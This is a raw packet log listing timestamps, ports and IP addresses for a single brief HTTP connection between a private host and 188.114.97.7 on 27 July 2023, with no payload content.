Jul 27, 2023 18:27:09.786561012 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786566973 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786601067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786642075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786659002 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786679983 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786720991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786746025 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786760092 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786798954 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786838055 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786858082 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786879063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786919117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786936998 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786957979 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786998034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787034035 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787039042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787055969 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787076950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787117004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787134886 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787156105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787194014 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787215948 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787235022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787272930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787295103 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787314892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787353039 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787377119 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787393093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787444115 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787451029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787499905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787542105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787564039 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787583113 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787637949 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787655115 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787682056 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787719965 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787740946 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787759066 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787798882 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787837029 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787877083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787915945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787936926 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.787955046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.787993908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788031101 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788032055 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788050890 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788072109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788110971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788147926 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788177013 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788187027 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788197994 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788227081 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788294077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788341999 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788353920 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788379908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788419008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788449049 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788455963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788467884 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788494110 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788544893 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788548946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788597107 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788635969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788674116 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788676977 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788732052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788770914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788796902 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788809061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788815022 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788847923 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788885117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788922071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788938046 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.788959026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.788995981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789026976 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789032936 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789046049 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789069891 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789108038 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789125919 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789146900 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789184093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789221048 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789247990 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789258003 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789273024 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789295912 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789335966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789375067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789398909 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789413929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789417028 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789453030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789489985 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789516926 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789526939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789565086 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789611101 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789619923 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789668083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789707899 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789725065 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789747953 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789800882 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789802074 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789844990 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789904118 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.789905071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789946079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.789983988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790008068 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790024042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790061951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790097952 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790101051 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790117979 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790141106 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790179968 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790219069 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790257931 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790258884 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790285110 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790294886 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790335894 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790374041 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790395975 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790414095 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790420055 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790452957 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790492058 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790529966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790544987 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790569067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790606976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790630102 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790646076 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790688992 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790710926 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790745020 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790791988 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790829897 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790831089 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790848970 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.790884972 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790930033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790968895 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.790986061 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791007996 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791047096 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791085958 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791096926 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791126013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791163921 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791182995 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791203022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791241884 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791260958 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791280031 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791321039 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791336060 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791359901 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791399002 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791419029 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791438103 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791476011 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791495085 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791515112 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791553974 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791568041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791593075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791630983 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791670084 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791672945 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791708946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791749001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791774035 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791795969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791804075 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791851997 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791893005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791903973 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791935921 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.791987896 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.791990042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792042971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792079926 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792099953 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792119026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792157888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792176008 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792196989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792236090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792258024 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792304993 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792351961 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792362928 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792392015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792429924 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792440891 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792469978 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792509079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792519093 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792550087 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792589903 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792607069 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792629004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792666912 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792680979 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792706013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792746067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792757034 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792785883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792824984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792836905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792866945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792921066 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.792923927 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.792967081 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793004990 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793019056 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793059111 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793111086 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793112040 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793160915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793206930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793227911 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793247938 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793288946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793315887 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793330908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793369055 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793386936 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793409109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793447971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793462992 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793487072 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793525934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793546915 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793565989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793607950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793617010 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793658018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793699026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793725014 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793751955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793792009 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793804884 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793831110 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793884039 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793889046 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.793922901 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793972969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.793982983 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794018030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794056892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794075012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794096947 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794137001 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794158936 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794178009 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794219971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794238091 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794260025 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794331074 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794368982 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794368982 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794409990 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794455051 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794462919 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794495106 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794534922 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794550896 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794574022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794614077 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794627905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794652939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794692993 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794703960 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794734955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794776917 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794805050 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794820070 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794858932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794869900 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794898987 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794938087 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.794950962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.794976950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795016050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795027018 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795056105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795093060 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795106888 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795133114 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795171976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795182943 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795212030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795250893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795267105 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795291901 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795332909 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795344114 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795370102 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795408010 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795425892 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795445919 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795483112 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795496941 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795521975 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795557976 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795569897 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795595884 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795640945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795644999 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795660973 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795681000 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795701027 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.795712948 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.795720100 CEST	80	49713	188.114.97.7	192.168.2.4
